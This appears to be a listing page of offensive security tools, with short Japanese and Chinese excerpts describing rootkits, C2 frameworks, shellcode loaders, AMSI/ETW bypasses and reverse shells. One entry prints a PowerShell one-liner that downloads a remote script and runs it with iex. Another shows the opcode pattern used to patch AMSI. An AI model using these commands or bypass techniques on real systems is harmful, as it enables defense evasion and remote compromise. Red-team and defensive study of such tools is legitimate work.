Nidhogg

Nidhogg Nidhogg は、カーネル空間で実行できるさまざまな操作を紹介する多機能ルートキットです。Nidhogg の目標は、操作に役立つ多機能で使いやすいオールインワンのルートキットを提供することです。さらに、C2 フレームワークと簡単に統合することもできます。 Nidhogg は、x64 版 Windows 10 および Windows 11 のすべてのバージョンで動作します。 このリポジトリには、カーネルドライバと、それと通信するための C++ プログラムが含まれています。 詳細については、wiki をご覧ください。 現在の機能 !IMPORTANT すべての機能は...

meterpeter

著者: @r00t-3xp10it バージョンリリース: v2.10.14 対応ディストリビューション: Windows x86|x64, Linux 以下の作品に触発されました: '@ZHacker13 - ReverseTCPShell' :octocat: クイックジャンプリスト プロジェクト説明 利用可能なモジュール一覧 Meterpeter C2 最新リリース 使用方法 - Linuxディストリビューション 使用方法 - Windowsディストリビューション 特別な感謝|貢献|動画 各モジュールの詳細については、私の'WIKI'ページをお読みください :octocat:...

LightsOut

LightsOut LightsOutは、難読化されたDLLを生成し、AMSI & ETWを無効にしつつ、AVの検知を回避しようとします。これは、使用されるすべてのWinAPI関数をランダム化し、文字列をXORエンコードし、基本的なサンドボックスチェックを利用することで行われます。Mingw-w64を使用して、難読化されたCコードをコンパイルし、AMSIまたはETWが存在する任意のプロセス（例：PowerShell）にロードできるDLLにします。...

nimcrypt

nimcrypt Sliverシェルコードローダー。Nimで記述され、Windows x64を対象としています。最も一般的な2つの配信状況に対応した2つのバリアントがあります。Windows Defender（リアルタイム保護有効）でテスト済みです。 バリアント stager 暗号化されたシェルコードブロブをディスクから読み込み、メモリ上で復号し、自己インジェクションします。ファイルドロップのプリミティブが既にあり、小さくシンプルなバイナリが必要な場合に使用します。 root@kitploit: loader.exe keyhex ivhex...

GoAround

GoAround AMSIバイパスの生成と、3つの異なる難読化手法を使用したPowerShellスクリプトの自動難読化を可能にするツールです。GoAroundはMITライセンスの下でライセンスされています。詳細についてはLICENSEを参照してください。 GoAround 免責事項 インストール ユーザーガイド 使用方法 動作モード バイパスタイプ 難読化手法 使用例 免責事項...

Invisi-Shell

Invisi-Shell あなたのPowerShellスクリプトをあからさまに隠せ！ Invisi-Shellは、.NETアセンブリをフックすることで、PowerShellのセキュリティ機能（ScriptBlockログ、モジュールログ、トランスクリプション、AMSI）をすべてバイパスします。フックはCLR Profiler APIを介して実行されます。 作業中 これはまだPOCを意図した暫定版です。コードはx64プロセスでのみ動作し、PowerShell V5.1でテストされています。 使用方法...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

NyxInvoke

NyxInvoke NyxInvoke は、.NET アセンブリ、PowerShell コマンド/スクリプト、Beacon Object Files BOF、PE ファイルの実行用に設計された多用途の Rust ベースのツールで、Ntdll Unhooking、パッチレス AMSI、ETW バイパス機能を内蔵しています。スタンドアロンの実行ファイルまたは DLL のどちらとしてもコンパイルできます。 特徴 .NET アセンブリの実行 PowerShell コマンドまたはスクリプトの実行 Beacon Object Files BOF の読み込みと実行 PE ファイル EXE の読み込みと...

Amsi-Killer

永久性 AMSI 绕过 操作码扫描 我们通过搜索每条指令的第一个字节来获取跳转指令的精确地址，即使目标数据集发生更新或修改，此技术依然有效。 例如： | 48:85D2 | test rdx, rdx | | 74 3F | je amsi.7FFAE957C694 | | 48 : 85C9 | test rcx, rcx | | 74 3A | je amsi.7FFAE957C694 | | 48 : 8379 08 00 | cmp qword ptr ds : rcx + 8 , 0 | | 74 33 | je amsi.7FFAE957C694 | 搜索模式将如下所示：...

GadgetToJScript

描述 一个用于生成 .NET 序列化 gadget 的工具，当从 JS/VBS/VBA 脚本使用 BinaryFormatter 反序列化时，可触发 .NET 程序集加载/执行。 当前的 gadget 在通过 jscript/vbscript/vba 使用 BinaryFormatter 反序列化时会触发对 Activator.CreateInstance 的调用，这意味着它可以通过默认/公共构造函数触发你选择的 .NET 程序集的执行。 该工具主要用于自动化红队行动（初始访问、横向移动、持久化）中的 WSH 脚本武器化，用于 PoC 的 shellcode 加载器已移除，取而代之的是在...

powershell-reverse-tcp

PowerShell リバース TCP リモートホストと通信するためのPowerShellスクリプト。 リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。 以下のシェルを確認してください： Invoke-Expression PowerShell コマンド こちら, プロセスパイプ こちら。 Windows 10 Enterprise OS 64-bit上のPowerShell v5.1.19041.2673でテスト済み。 教育目的で作成されました。お役に立てば幸いです！...

wmiexec-Pro

wmiexec-Pro 新一代的 wmiexec.py。 目录 1. 简介 2. 特别感谢 3. 功能特性 4. 快速开始 安装 5. 使用方法 6. 截图 7. 工作原理 8. 免责声明 9. 参考资料 简介 新一代的 wmiexec.py，拥有更多新功能，所有操作仅需使用 135 端口（无需 SMB 连接），用于横向移动中的 AV 规避（Windows Defender、HuoRong、360） 回到顶部 特别感谢 @422926799 回到顶部 功能特性 主要功能：AV 规避 主要功能：无需 win32process 主要功能：仅需 135 端口。 新模块：AMSI 绕过...

shells

Shellz 一般的なリバースシェルを高速かつ簡単に生成するスクリプト。 特にPowerShellやPythonのリバースシェルが必要な場合に便利です。これらは正しくフォーマットするのが面倒なことが多いからです。 PowerShellリバースシェル プロンプトと作業ディレクトリの上に [email protected] を表示 部分的なAMSIバイパスと完全なAMSIバイパスを備えています。 TCP、UDP、SSLシェル 新しいカスタムTCPリバースシェル！ 新しいカスタムSSLリバースシェル！ リフレクティブローディング theart42's の素晴らしい Sharpca...

PowerShx

SharpShx DLLまたはスタンドアロン実行ファイルを使用したアンマネージドPowerShellの実行。 はじめに PowerShxは、PowerShdllプロジェクトを書き直し、拡張したものです。PowerShxは、AMSIをバイパスし、PSコマンドレットを実行する機能を提供します。 特徴 rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exeを使用してDLLでPowerShellを実行。 powershell.exeやpowershellise.exeを使用せずにPowerShellを実行。...

SharpKiller

SharpKiller Lifetime AMSI バイパス — @ZeroMemoryEx による AMSI-Killer を .NET Framework 4.8 に移植したものです。 追加の難読化が必要 https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 新たに統合された機能: x - 0.5 秒ごとに新しい powershell プロセスをライブスキャン - 新しい...

Rusty-Playground

Rusty-Playground 🦀 オフェンシブセキュリティと回避技術を示す Rust プログラム集 ツール| 説明| 参照 ---|---|--- ClipboardMon| クリップボードの変更を監視し、検出された変更に応じてクリップボードの内容を記録するか、ファイルをコピーします。| - DumpMDEConfig| Microsoft Defender を列挙して、システム上で有効な除外パス、許可された脅威、保護履歴、ASR（攻撃面の縮小）ルールを特定します。管理者権限は不要です。| 出典 ElevateToken|...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - 一款蘸取辣酱风味的反病毒安全反向Shell Salsa Tools 是由三个不同工具组成的集合，结合后可让你在任何 Windows 环境中获得增强版反向Shell，且执行时甚至无需 PowerShell。为避免最新的检测技术（AMSI），大部分组件最初使用 C 编写。Salsa Tools 由 Luis Vacas 在 h-c0n...

Girsh

Girsh Golang インタラクティブリバースシェル リバースシェルを完全なインタラクティブリバースシェル（tty spawn, stty size ..., stty raw -echo）にアップグレードするための数行を手動で打つのに飽きたり、ConPTYを使用するコマンドを打つのに飽きたりしませんか。 説明 Girsh を実行するだけで、OS を検出し、完全なインタラクティブリバースシェルにアップグレードするための正しいコマンドを実行します。 Linux の場合: 端末のサイズを取得 python2.7、python3、python を使用して tty を生成 端末を raw に...

Amsi-Bypass-Powershell

スポンサー提供 Amsi-Bypass-Powershell このリポジトリには、さまざまなブログ記事で見つけたAntimalware Scan Interface AMSIのバイパス/回避方法がいくつか含まれています。...

xc

XC Linux・Windows向けのNetcatライクなリバースシェル。 機能 Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd remove...